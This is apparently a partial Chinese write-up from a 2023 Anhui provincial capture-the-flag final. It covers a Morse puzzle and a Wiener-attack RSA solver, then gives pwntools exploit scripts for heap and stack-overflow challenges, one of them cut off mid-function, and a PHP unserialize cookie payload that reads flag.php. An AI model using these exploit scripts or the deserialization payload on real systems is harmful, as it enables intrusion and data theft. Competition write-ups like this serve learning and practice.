2023年安徽省“漏洞挖掘与防范”决赛-部分wp

本科组

1837

MTEgMTExIDAwMCAwMCAwMTExMSAwMDAgMDAxMCAwMDEgMTA

base64 ->转莫斯

flag{mosi1sfun}

rsa

e很大，考虑wiener

import gmpy2
import libnum

def continuedFra(x, y):
    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y
    return cf
def gradualFra(cf):
    """计算传入列表最后的渐进分数
    :param cf: 连分数列表
    :return: 该列表最后的渐近分数
    """
    numerator = 0
    denominator = 1
    for x in cf[::-1]:
        # 这里的渐进分数分子分母要分开
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator
def solve_pq(a, b, c):
    """使用韦达定理解出pq，x^2−(p+q)∗x+pq=0
    :param a:x^2的系数
    :param b:x的系数
    :param c:pq
    :return:p，q
    """
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
    """计算列表所有的渐近分数
    :param cf: 连分数列表
    :return: 该列表所有的渐近分数
    """
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf

def wienerAttack(e, n):
    """
    :param e:
    :param n:
    :return: 私钥d
    """
    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d, k in gf:
        if k == 0: continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return d
n=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bf
e=0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939
c=0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3

d=wienerAttack(e,n)
print(d)
m=pow(c, d, n)
print(libnum.n2s(m).decode())
#flag1sH3r3_d_ist0sma1l

misc3

两题明文攻击

CTF-Misc要点 | JackHCC

原题 flag 为什么交不上去呢

flag交不上去，🤔️会办比赛吗，flag crtl+c v v不好？ 拿答案来对🤔️ 对的明白吗

让我们一起做点吃的

#coding:utf-8
from pwn import *
from LibcSearcher import *
from sys import *
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context(arch='amd64',os='linux')
file = './food'
p = process(file)
e = ELF(file)
rop = ROP(file)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args.R:
    p = remote('n',) 
    e = ELF(file)
    libc = ELF('./libc-2.27.buu.so')

lg = lambda s            : log.success('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
ru = lambda x : p.recvuntil(x)
r = lambda x : p.recv(x)
rl = lambda : p.recvline()

system = 0
binsh = 0
poprdi = 0
ret   = 0
libc_base = 0
def cuos(func,addr):
    global system, binsh, poprdi, ret,libc_base
    libc_base = addr - libc.sym[func]
    log.success('libc_base = '+hex(libc_base))
    system = libc_base + libc.sym['system']
    log.success('system = '+hex(system))
    binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
    log.success('binsh = '+hex(binsh))
    poprdi = rop.find_gadget(['pop rdi','ret'])[0]
    log.success('poprdi = '+hex(poprdi))
    ret = rop.find_gadget(['ret'])[0]
    log.success('ret = '+hex(poprdi))

def csu(text,edi, rsi, rdx, rip):
    payload  = b""
    payload += p64(0x400c40+ 90)
    payload += p64(0) # rbx
    payload += p64(1) #rbp
    payload += p64(rip) #r12
    payload += p64(rdx) #r13
    payload += p64(rsi) #r14
    payload += p64(edi) #r15
    payload += p64(0x400c40 + 64)
    payload += p64(0)*7
    return payload

def debug(cmd=''):
    gdb.attach(p,cmd)
    #pause()
    #"b $rebase(0x10)"

def add(index,size):
    sla('5.- Exit\n','1')
    sla('the food\n',str(index))
    sla(' kcal.\n',str(size))

def edit(index,des):

just stack overflow

from pwn import *
from struct import pack
from ctypes import *
import hashlib

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('', )
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sla(b'have:\n', b'1')
sla(b'numbers\n', b'1')

def edit(idx, data):
	sla(b'exit\n', b'3')
	sla(b'change:\n', str(idx))
	sla(b'number:\n', str(data))

edit(0x84, 0x9b)
edit(0x85, 0x85)
edit(0x86, 0x4)
edit(0x87, 0x8)

#gdb.attach(p, 'b *0x80488F2')

sla(b'exit\n', b'5')

#pause()
inter()

pop

<?php
header("content-type:text/html;charset=utf-8");
class Readme{
      public $source;
        public function __toString()
              {
                      return highlight_file('Readme.txt', true).highlight_file($this->source, true);
                    }
}
if(isset($_GET['source'])){
      $s = new Readme();
        $s->source = __FILE__;
        echo $s;
          exit;
}
$todos = [];
if(isset($_COOKIE['todos'])){
      $c = $_COOKIE['todos'];
        $h = substr($c, 0, 32);
        $m = substr($c, 32);
          if(md5($m) === $h){
                  $todos = unserialize($m);
                }
}
if(isset($_POST['text'])){
      $todo = $_POST['text'];
        $todos[] = $todo;
        $m = serialize($todos);
          $h = md5($m);
          setcookie('todos', $h.$m);
            header('Location: '.$_SERVER['REQUEST_URI']);
            exit;
}
?>

GET / HTTP/1.1
Host: 1.1.2.100:1080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Origin: http://1.1.2.100:1080
Connection: close
Referer: http://1.1.2.100:1080/
Cookie: todos=fae1710f5e51885bcf095e718ca752cca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A10%3A%22.%2Fflag.php%22%3B%7D%7D
Upgrade-Insecure-Requests: 1

text=1